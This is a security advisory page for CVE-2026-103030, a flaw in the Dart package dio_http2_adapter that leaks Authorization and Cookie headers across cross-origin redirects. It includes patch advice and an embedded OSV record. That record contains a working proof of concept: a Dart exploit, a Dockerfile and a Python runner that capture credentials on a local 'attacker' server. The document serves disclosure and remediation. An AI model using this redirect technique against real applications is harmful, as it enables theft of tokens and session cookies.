CVE-2026-103030: Dio Cross-origin Redirect Leaks Sensitive Request Vulnerability
HIGHCVE-2026-103030 is a HIGH (CVSS 7.5) cross-origin redirect leaks sensitive request vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Dio libraries in the Pub ecosystem. The issue involves cross-origin redirect leaks sensitive request headers in `dio_http2_adapter`. Remediation is available by upgrading affected packages to version 2.8.0.
CVE-2026-103030 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-103030
To remediate this vulnerability, upgrade all affected Dio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade dio_http2_adapter to 2.8.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for dio_http2_adapter
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-103030, inspect your project dependencies for Dio:
inspect dependencies for dio_http2_adapter
Analyze the terminal output to locate any version of Dio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.8.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Dio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-103030 Affected Dio Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dio_http2_adapter
|
Pub |
≥ 1.0.0
< 2.8.0
|
2.8.0
|
References
Frequently Asked Questions
What is CVE-2026-103030?
Which Dio versions are affected?
What version fixes CVE-2026-103030?
Is dio_http2_adapter affected?
What is the CVSS score of CVE-2026-103030?
What CWE is associated with CVE-2026-103030?
How can I check Pub dependencies for CVE-2026-103030?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-cr65-55v9-xhvv",
"modified" : "2026-10-15T20:18:37Z",
"published" : "2026-10-15T20:18:37Z",
"aliases" : [ "CVE-2026-103030" ],
"summary" : "Dio: Cross-origin redirect leaks sensitive request headers in `dio_http2_adapter`",
"details" : "### Summary\n\n`dio_http2_adapter` follows HTTP `Location` redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin `302` redirect receives the victim's `Authorization`, `Cookie`, and `Proxy-Authorization` headers verbatim. This vulnerability has a CVSS v3.1 base score of **7.5 (High)** because `followRedirects` is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high.\n\n### Details\n\nWhen `Dio` is configured to use `Http2Adapter`, the adapter's internal `_fetch` method constructs HTTP/2 request headers by unconditionally copying all entries from `options.headers`:\n\n```dart\n// plugins/http2_adapter/lib/src/http2_adapter.dart:111\nheaders.addAll(\n options.headers.entries.map((entry) {\n ...\n return Header.ascii(entry.key.toLowerCase(), v);\n }).toList(),\n);\n```\n\nOn receiving a `3xx` response, the adapter reads the `Location` header and resolves the redirect target URI:\n\n```dart\n// plugins/http2_adapter/lib/src/http2_adapter.dart:254-263\nfinal url = responseHeaders.value('location');\nfinal uri = Uri.parse(url ?? '');\nfinal String path = resolveRedirectUri(options.uri, uri).toString();\nreturn _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...);\n```\n\n`options.copyWith` is called without an explicit `headers` argument; `dio/lib/src/options.dart:629` therefore preserves the full original header map via `headers ?? Map.from(this.headers)`. `resolveRedirectUri` (`http2_adapter.dart:290`) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers — including `Authorization`, `Cookie`, and `Proxy-Authorization` — is forwarded to the new authority with no sanitization.\n\n**Data flow (source → sink):**\n\n1. `dio/lib/src/dio_mixin.dart:383` — public `Dio.request<T>(String path, ...)` entry point.\n2. `dio/lib/src/options.dart:331` — base and per-request headers merged into `RequestOptions`.\n3. `dio/lib/src/dio_mixin.dart:596` — `httpClientAdapter.fetch(reqOpt, ...)` dispatches to `Http2Adapter`.\n4. `plugins/http2_adapter/lib/src/http2_adapter.dart:254` — `Location` header is read from the network response (attacker-controlled source).\n5. `plugins/http2_adapter/lib/src/http2_adapter.dart:258` — redirect target URI resolved; cross-origin check absent.\n6. `plugins/http2_adapter/lib/src/http2_adapter.dart:260` — `options.copyWith(path: path, ...)` called without `headers` override.\n7. `dio/lib/src/options.dart:629` — `copyWith` preserves `Map.from(this.headers)` — all sensitive headers retained.\n8. `plugins/http2_adapter/lib/src/http2_adapter.dart:111` — preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink).\n\n**Suggested patch** — strip sensitive headers before following a cross-origin redirect:\n\n```diff\n--- a/plugins/http2_adapter/lib/src/http2_adapter.dart\n+++ b/plugins/http2_adapter/lib/src/http2_adapter.dart\n+ static const _sensitiveRedirectHeaders = {\n+ 'authorization',\n+ 'cookie',\n+ 'proxy-authorization',\n+ };\n+\n- final String path = resolveRedirectUri(options.uri, uri).toString();\n+ final redirectUri = resolveRedirectUri(options.uri, uri);\n+ final redirectOptions = options.copyWith(\n+ path: redirectUri.toString(),\n+ maxRedirects: --options.maxRedirects,\n+ );\n+ if (!_sameOrigin(options.uri, redirectUri)) {\n+ redirectOptions.headers.removeWhere(\n+ (name, _) => _sensitiveRedirectHeaders.contains(name.toLowerCase()),\n+ );\n+ }\n return _fetch(\n- options.copyWith(path: path, maxRedirects: --options.maxRedirects),\n+ redirectOptions,\n list != null ? Stream.fromIterable(list) : null,\n cancelFuture,\n redirects,\n );\n+\n+ static bool _sameOrigin(Uri a, Uri b) =>\n+ a.scheme == b.scheme && a.host == b.host && a.port == b.port;\n```\n\n### PoC\n\nThe following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required).\n\n**Prerequisites:**\n\n- Docker installed and accessible.\n- Repository checked out at the path used as the build context.\n\n**Build and run:**\n\n```bash\n# From the repository root (github_web_81_cfug__dio/)\ndocker build -f vuln-001/Dockerfile -t dio-vuln-001:poc .\ndocker run --rm --network none dio-vuln-001:poc\n```\n\n**What the container does:**\n\n1. Starts an *origin* h2c server on `127.0.0.1:18081` that immediately returns `302 Location: http://127.0.0.1:18082/capture`.\n2. Starts an *attacker* h2c server on `127.0.0.1:18082` that logs every received header.\n3. Executes the following Dart exploit:\n\n```dart\nfinal dio = Dio()\n ..httpClientAdapter = Http2Adapter(ConnectionManager());\nawait dio.get(\n 'http://127.0.0.1:18081/start',\n options: Options(headers: {\n 'Authorization': 'Bearer SECRET_TOKEN_12345',\n 'Cookie': 'sid=SECRET_SESSION_ABC',\n 'x-secret': 'internal-secret-value',\n }),\n);\n```\n\n**Expected output (confirms vulnerability):**\n\n```\nRESULT=VULN_CONFIRMED\nLEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345\nLEAKED_COOKIE=sid=SECRET_SESSION_ABC\n\n[ATTACKER] Received headers:\n[ATTACKER] authorization: Bearer SECRET_TOKEN_12345\n[ATTACKER] cookie: sid=SECRET_SESSION_ABC\n[ATTACKER] x-secret: internal-secret-value\n```\n\nThe attacker server at `127.0.0.1:18082` receives all three sensitive headers, demonstrating that `Http2Adapter` forwards them verbatim across the cross-origin redirect with no stripping.\n\n### Impact\n\nThis is a **sensitive information disclosure** vulnerability. Any application that:\n\n1. configures `Dio` with `Http2Adapter`, and\n2. sends requests carrying `Authorization`, `Cookie`, or `Proxy-Authorization` headers,\n\nis affected. Because `followRedirects` defaults to `true` and `maxRedirects` defaults to `5`, no additional configuration is needed to trigger the bug.\n\nAn attacker who controls — or can compromise — any HTTP server that the victim application contacts can issue a `302` redirect to an attacker-owned server and thereby capture the victim's bearer tokens, session cookies, or proxy credentials. The attack requires no prior authentication and is executable over the network with low complexity. Stolen credentials may then be used to impersonate the victim against the original service or any other service that accepts the same token.\n\nAffected parties include server-side Dart/Flutter applications and CLI tools that make authenticated HTTP/2 requests through `dio_http2_adapter`.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n# Vulnerability: Cross-origin redirect leaks sensitive request headers in dio_http2_adapter\n#\n# Build context: the parent directory (github_web_81_cfug__dio/)\n# docker build -f vuln-001/Dockerfile -t dio-vuln-001 .\n#\n# What this image does:\n# 1. Installs Dart SDK (stable)\n# 2. Copies the vulnerable repository source (dio + dio_http2_adapter)\n# 3. Creates a PoC Dart project using path dependencies to the local source\n# 4. Resolves pub packages\n# 5. On container run: executes the exploit script that starts two local\n# h2c servers (origin + attacker) and makes a redirected request to prove\n# that Authorization/Cookie headers are forwarded to the cross-origin target\n\nFROM dart:stable AS builder\n\n# ── Repository source ──────────────────────────────────────────────────────────\n# Copy only the packages we need to keep image small\nCOPY repo/dio/ /repo/dio/\nCOPY repo/plugins/http2_adapter/ /repo/plugins/http2_adapter/\n\n# ── PoC project setup ──────────────────────────────────────────────────────────\nWORKDIR /poc\n\nCOPY vuln-001/poc_pubspec.yaml pubspec.yaml\nCOPY vuln-001/poc_exploit.dart lib/main.dart\n\n# Resolve dependencies (requires network access to pub.dev for http2, meta, etc.)\nRUN dart pub get\n\n# ── Runtime image (reuse builder to keep it simple) ────────────────────────────\nFROM builder AS final\n\nWORKDIR /poc\n\n# Run the exploit; exit code:\n# 0 = VULN_CONFIRMED (authorization header leaked to attacker)\n# 1 = NOT_VULNERABLE (header was stripped or redirect not followed)\n# 2 = FAIL (attacker server never received a request — env issue)\nCMD [\"dart\", \"run\", \"lib/main.dart\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC orchestrator for VULN-001:\n Cross-origin redirect leaks sensitive request headers in dio_http2_adapter.\n\nUsage:\n python3 poc.py [--image-tag TAG]\n\nWhat it does:\n 1. Builds a Docker image containing the vulnerable dio_http2_adapter source\n and a Dart exploit script (poc_exploit.dart).\n 2. Runs the container, which:\n a. Starts two local h2c (HTTP/2 cleartext) servers inside the container:\n - Origin (127.0.0.1:18081): returns 302 → attacker\n - Attacker (127.0.0.1:18082): logs all received headers\n b. Uses dio + Http2Adapter to GET http://origin/start with\n Authorization and Cookie headers.\n c. Follows the 302 redirect to the attacker server.\n d. Reports whether the Authorization header was captured by the attacker.\n 3. Writes phase2_result.json with structured verdict.\n\nExit codes:\n 0 PASS — vulnerability confirmed\n 1 FAIL — not reproduced\n 2 ERROR — build or runtime environment problem\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\nfrom pathlib import Path\n\n# ── Paths ──────────────────────────────────────────────────────────────────────\nSCRIPT_DIR = Path(__file__).resolve().parent\nREPO_ROOT = SCRIPT_DIR.parent # github_web_81_cfug__dio/\nRESULT_FILE = SCRIPT_DIR / \"phase2_result.json\"\n\nBUILD_CONTEXT = str(REPO_ROOT)\nDOCKERFILE = str(SCRIPT_DIR / \"Dockerfile\")\nDEFAULT_IMAGE_TAG = \"dio-vuln-001:poc\"\n\n\ndef run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:\n \"\"\"Run a subprocess command, streaming stdout/stderr to the terminal.\"\"\"\n print(f\"[+] {' '.join(cmd)}\", flush=True)\n return subprocess.run(cmd, **kwargs)\n\n\ndef build_image(tag: str) -> bool:\n \"\"\"Build the Docker image. Returns True on success.\"\"\"\n result = run(\n [\n \"docker\", \"build\",\n \"--file\", DOCKERFILE,\n \"--tag\", tag,\n BUILD_CONTEXT,\n ],\n check=False,\n )\n if result.returncode != 0:\n print(f\"[!] Docker build failed (exit {result.returncode})\", file=sys.stderr)\n return False\n return True\n\n\ndef run_container(tag: str, timeout_sec: int = 120) -> tuple[int, str, str]:\n \"\"\"\n Run the container and capture its output.\n\n Returns:\n (returncode, stdout, stderr)\n \"\"\"\n result = run(\n [\n \"docker\", \"run\",\n \"--rm\",\n \"--network\", \"none\", # no external network; loopback only\n tag,\n ],\n capture_output=True,\n text=True,\n timeout=timeout_sec,\n check=False,\n )\n return result.returncode, result.stdout, result.stderr\n\n\ndef parse_output(stdout: str, stderr: str) -> dict:\n \"\"\"\n Parse structured key=value lines from the exploit's stdout.\n\n The Dart exploit writes lines like:\n RESULT=VULN_CONFIRMED\n LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345\n EVIDENCE=...\n \"\"\"\n parsed = {}\n for line in stdout.splitlines():\n if \"=\" in line:\n key, _, val = line.partition(\"=\")\n parsed[key.strip()] = val.strip()\n return parsed\n\n\ndef write_result(data: dict) -> None:\n with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as f:\n json.dump(data, f, ensure_ascii=False, indent=2)\n print(f\"\\n[+] Result written to {RESULT_FILE}\")\n\n\ndef main() -> int:\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument(\n \"--image-tag\", default=DEFAULT_IMAGE_TAG,\n help=f\"Docker image tag (default: {DEFAULT_IMAGE_TAG})\",\n )\n args = parser.parse_args()\n tag = args.image_tag\n\n build_cmd = (\n f\"docker build -f vuln-001/Dockerfile -t {tag} .\"\n )\n run_cmd = (\n f\"docker run --rm --network none {tag}\"\n )\n poc_cmd = (\n f\"cd {REPO_ROOT} && {build_cmd} && {run_cmd}\"\n )\n\n # ── Step 1: Build ──────────────────────────────────────────────────────────\n print(\"=\" * 70)\n print(\"STEP 1: Building Docker image\")\n print(\"=\" * 70)\n if not build_image(tag):\n result_data = {\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": \"Docker image build failed — dart pub get or source copy error\",\n \"build_command\": f\"cd {REPO_ROOT} && {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": \"docker build non-zero exit code\",\n \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n }\n write_result(result_data)\n return 2\n\n # ── Step 2: Run exploit ────────────────────────────────────────────────────\n print(\"\\n\" + \"=\" * 70)\n print(\"STEP 2: Running exploit container\")\n print(\"=\" * 70)\n\n try:\n returncode, stdout, stderr = run_container(tag)\n except subprocess.TimeoutExpired:\n result_data = {\n \"passed\": False,\n \"verdict\": \"INCOMPLETE\",\n \"reason\": \"Container execution did not complete within 120 seconds and was terminated due to timeout\",\n \"build_command\": f\"cd {REPO_ROOT} && {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": \"subprocess.TimeoutExpired after 120 s\",\n \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n }\n write_result(result_data)\n return 2\n\n print(\"\\n── Container STDOUT ─────────────────────────────────────────────\")\n print(stdout or \"(empty)\")\n print(\"── Container STDERR ─────────────────────────────────────────────\")\n print(stderr or \"(empty)\")\n print(\"── Exit code:\", returncode, \"─────────────────────────────────────\")\n\n # ── Step 3: Evaluate results ───────────────────────────────────────────────\n parsed = parse_output(stdout, stderr)\n exploit_result = parsed.get(\"RESULT\", \"\")\n leaked_header = parsed.get(\"LEAKED_HEADER\", \"\")\n evidence_line = parsed.get(\"EVIDENCE\", \"\")\n\n if returncode == 0 and exploit_result == \"VULN_CONFIRMED\" and leaked_header:\n # Combine stdout + a snippet of stderr for the evidence field\n stderr_snippet = \"\\n\".join(\n line for line in stderr.splitlines()\n if any(tag in line for tag in (\"[ATTACKER]\", \"[RESULT]\", \"[EVIDENCE]\"))\n )[:1500]\n evidence = (\n f\"stdout: {stdout.strip()}\\n\\n\"\n f\"stderr (relevant):\\n{stderr_snippet}\"\n )\n result_data = {\n \"passed\": True,\n \"verdict\": \"PASS\",\n \"reason\": (\n \"dio_http2_adapter forwarded the original Authorization header verbatim \"\n \"to the attacker's server without stripping it when following a \"\n \"cross-origin 302 redirect. The attacker h2c server (127.0.0.1:18082) \"\n f\"received '{leaked_header}'.\"\n ),\n \"build_command\": f\"cd {REPO_ROOT} && {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": evidence,\n \"artifacts\": [\n \"Dockerfile\",\n \"poc_exploit.dart\",\n \"poc_pubspec.yaml\",\n \"poc.py\",\n ],\n }\n write_result(result_data)\n print(\"\\n[PASS] VULN-001 reproduced successfully.\")\n return 0\n\n elif returncode == 1 or exploit_result == \"NOT_VULNERABLE\":\n result_data = {\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": (\n \"Container execution succeeded, but the attacker server did not \"\n \"receive the Authorization header. The vulnerability was not \"\n f\"reproduced in this environment. Parsed result: {parsed}\"\n ),\n \"build_command\": f\"cd {REPO_ROOT} && {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": stdout + \"\\n\" + stderr,\n \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n }\n write_result(result_data)\n print(\"\\n[FAIL] Vulnerability not reproduced.\")\n return 1\n\n else:\n # returncode == 2 or other unexpected failure\n result_data = {\n \"passed\": False,\n \"verdict\": \"INCOMPLETE\",\n \"reason\": (\n f\"Container execution failed or exited with an unexpected code {returncode}. \"\n \"Cause: h2c server startup error, network issue, or Dart runtime \"\n \"error. Check the stderr log and retry without --network none.\"\n ),\n \"build_command\": f\"cd {REPO_ROOT} && {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": f\"exit={returncode}\\nstdout={stdout}\\nstderr={stderr}\",\n \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n }\n write_result(result_data)\n print(f\"\\n[INCOMPLETE] Container exited with code {returncode}.\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Pub",
"name" : "dio_http2_adapter"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.0.0"
}, {
"fixed" : "2.8.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.7.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/cfug/dio/security/advisories/GHSA-cr65-55v9-xhvv"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-103030"
}, {
"type" : "WEB",
"url" : "https://github.com/cfug/dio/commit/9d7ac913340084f3b4987b121e076f28d637a81e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/cfug/dio"
}, {
"type" : "WEB",
"url" : "https://github.com/cfug/dio/releases/tag/http2_adapter_v2.8.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-15T20:18:37Z",
"nvd_published_at" : "2026-10-13T17:17:14Z"
}
}